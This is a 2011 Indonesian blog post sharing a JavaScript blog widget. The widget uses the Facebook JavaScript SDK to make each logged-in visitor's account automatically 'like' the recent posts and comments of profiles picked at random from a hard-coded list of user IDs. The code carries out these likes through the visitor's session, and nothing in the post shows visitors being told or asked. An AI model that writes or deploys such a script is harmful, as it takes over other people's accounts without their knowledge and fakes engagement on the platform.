Thursday, October 13, 2011

Facebook Post and Comments Auto Like (with Random IDs)

·

Script Flow..

wait for page to finish loading..

The Script..

Script ini untuk dipasang di widget Blog, dan gak bakalan jalan kalo script connect facebook belom selesai di load.
Silahkan baca di..
Add Facebook Connect to Your Blog in 8 Minutes :P
<script type="text/javascript">
<!--
  function pesbukPostRandomIdAutoLike(brapaPost,aydinyaCoy){
    if(brapaPost==null || brapaPost==''){
      brapaPost = 1;
    }

    if(aydinyaCoy==null || aydinyaCoy==''){
      var daftarIdUntukRandomLike = [
        "100001325691112",
        "100000955849327",
        "100000569627615",
        "",
        "100000343587834",
        "100000513368251",
        "100002945826052"
      ];

      daftarIdUntukRandomLike = daftarIdUntukRandomLike.sort(function() {return 0.5 - Math.random()});
      var ke = Math.floor(Math.random()*daftarIdUntukRandomLike.length);
      if(daftarIdUntukRandomLike[ke]=='undefined'){ke = 0;}

      aydinyaCoy = daftarIdUntukRandomLike[ke];
    }

    FB.api('/'+aydinyaCoy+'/feed','get',{limit:brapaPost,fields:'id'},function(okayThen){
      if(okayThen.data){
        for(x in okayThen.data){
          if(okayThen.data[x].id){
            FB.api('/'+okayThen.data[x].id+'/likes','post',function(ohyeah){});
            FB.api('/'+okayThen.data[x].id+'/comments','get',{fields:'id'},function(thenWhat){
              if(thenWhat.data){
                for(z in thenWhat.data){
                  if(thenWhat.data[z].id){
                    FB.api('/'+thenWhat.data[z].id+'/likes','post',function(beres){});
                  }
                }
              }
            });
          }
        }
      }
    });
  }

  function postScript(){
//untuk Random ID..
    pesbukPostRandomIdAutoLike(5);

//Untuk 1 ID yang ditentukan..
//  pesbukPostRandomIdAutoLike('5','');
  }
//-->
</script>

Test..

How much posts: Insert an ID:
pesbukPostRandomIdAutoLike('5','aydinyaCoy')

untuk Random ID..
pesbukPostRandomIdAutoLike(5)

Untuk keterangan tentang..
  function postScript(){
//untuk Random ID..
    pesbukPostRandomIdAutoLike(5);

//Untuk 1 ID yang ditentukan..
//  pesbukPostRandomIdAutoLike('5','');
  }

Silahkan baca di..
Add Facebook Connect to Your Blog in 8 Minutes :P

0 comments:

Post a Comment